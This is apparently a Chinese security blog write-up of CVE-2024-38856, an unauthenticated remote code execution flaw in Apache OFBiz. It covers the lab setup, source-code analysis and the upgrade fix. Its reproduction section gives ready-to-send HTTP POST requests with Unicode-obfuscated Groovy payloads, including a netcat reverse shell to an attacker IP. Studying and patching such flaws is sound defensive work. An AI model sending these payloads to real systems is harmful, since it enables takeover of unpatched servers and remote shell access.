关注我们❤️,添加星标🌟,一起学安全!
作者:hexixi@Timeline Sec
本文字数:3813
阅读时长:2~4mins
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Apache OFBiz
是一个开源 ERP 系统,可帮助企业自动化和集成会计、人力资源、客户关系管理、订单管理、制造和电子商务等各种流程。
使用Java语言开发,基于Java企业版(Java EE)的技术栈,包括Java Servlet、JavaServer Pages(JSP)、Java数据库连接(JDBC)等。
0x02 漏洞概述
漏洞编号:CVE-2024-38856
ControlServlet和RequestHandler函数,在处理请求中存在授权错误,导致未经身份验证的远程攻击者通过构造特殊URL来覆盖最终的渲染视图,从而执行任意代码。
0x03 影响版本
Apache OFBiz <= 18.12.14
0x04 环境搭建
https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14
在官网中下载ofbiz,idea打开,构建
在ofbiz-framework-release18.12.14\framework\security\config\security.properties里添加私有IP地址(方便攻击)
运行
访问https://192.168.56.1:8443/webtools/control/main/
0x05 漏洞复现
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 192.168.56.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
POST发送的数据编码前
为:
groovyProgram=throw new Exception('calc'.execute().text);
反弹shell操作
攻击机打开nc端口
payload:
throw new Exception('nc 192.168.244.133 4444 -e cmd.exe'.execute().text);
将payload进行unicode编码
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 192.168.56.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 458
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u006e\u0063\u0020\u0031\u0039\u0032\u002e\u0031\u0036\u0038\u002e\u0032\u0034\u0034\u002e\u0031\u0033\u0033\u0020\u0034\u0034\u0034\u0034\u0020\u002d\u0065\u0020\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b\u0020
成功反弹到shell
0x06 漏洞分析
org.apache.ofbiz.webapp.control.ControlServlet类会处理所有以/control/开头的URL请求。在其类中doPost和doGet方法对环境进行相应的初始化,并调用RequestHandler的doRequest()方法处理请求。
requestUri获取了路由配置,再往下看请求
"main"
对应的请求映射集合,并作出处理请求的安全认证。overrideViewUri用于实现视图渲染,查看view类型操作。
if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}
viewName的值会有三种情况:
-
如果 overrideViewUri 不为空,并且 eventReturn 为空或者等于 "success",则 viewName 的值为 overrideViewUri。
-
如果 overrideViewUri 为空,并且 eventReturn 不为空且不等于 "success",则 viewName 的值为 nextRequestResponse.value。
-
如果两个条件都不满足,即 overrideViewUri 为空且 eventReturn 为空或者不等于 "success",则 viewName 的值为 nextRequestResponse.value。
为了达到漏洞利用,首先需要需要requestUri所认定的不鉴权且路由为view类型,调用viewName的值为overrideViewUri,也就是达成条件overrideViewUri存在,而且事件返回为success。
查看webapp/webtools/WEB-INF/controller.xml mian符合上述所说情况
其次就是找到如何进行rce的利用了,在widget/EntityScreens.xml中的ProgramExport,尝试解析执行/webtools/groovyScripts/entity/ProgramExport.groovy,并且groovyProgram可控。
因此整个漏洞的思路就是,在requestUri选择一个可以绕过验证的路由,返回类型为success,为此达到renderView实现带有可利用路由的overrideViewUri。
修复方式
将Apache OFBiz更新至最新版本。
参考链接
https://forum.butian.net/article/524
https://www.secrss.com/articles/68838
https://cn-sec.com/archives/3037801.html
历史文章
CVE-2023-51467
CVE-2021-26295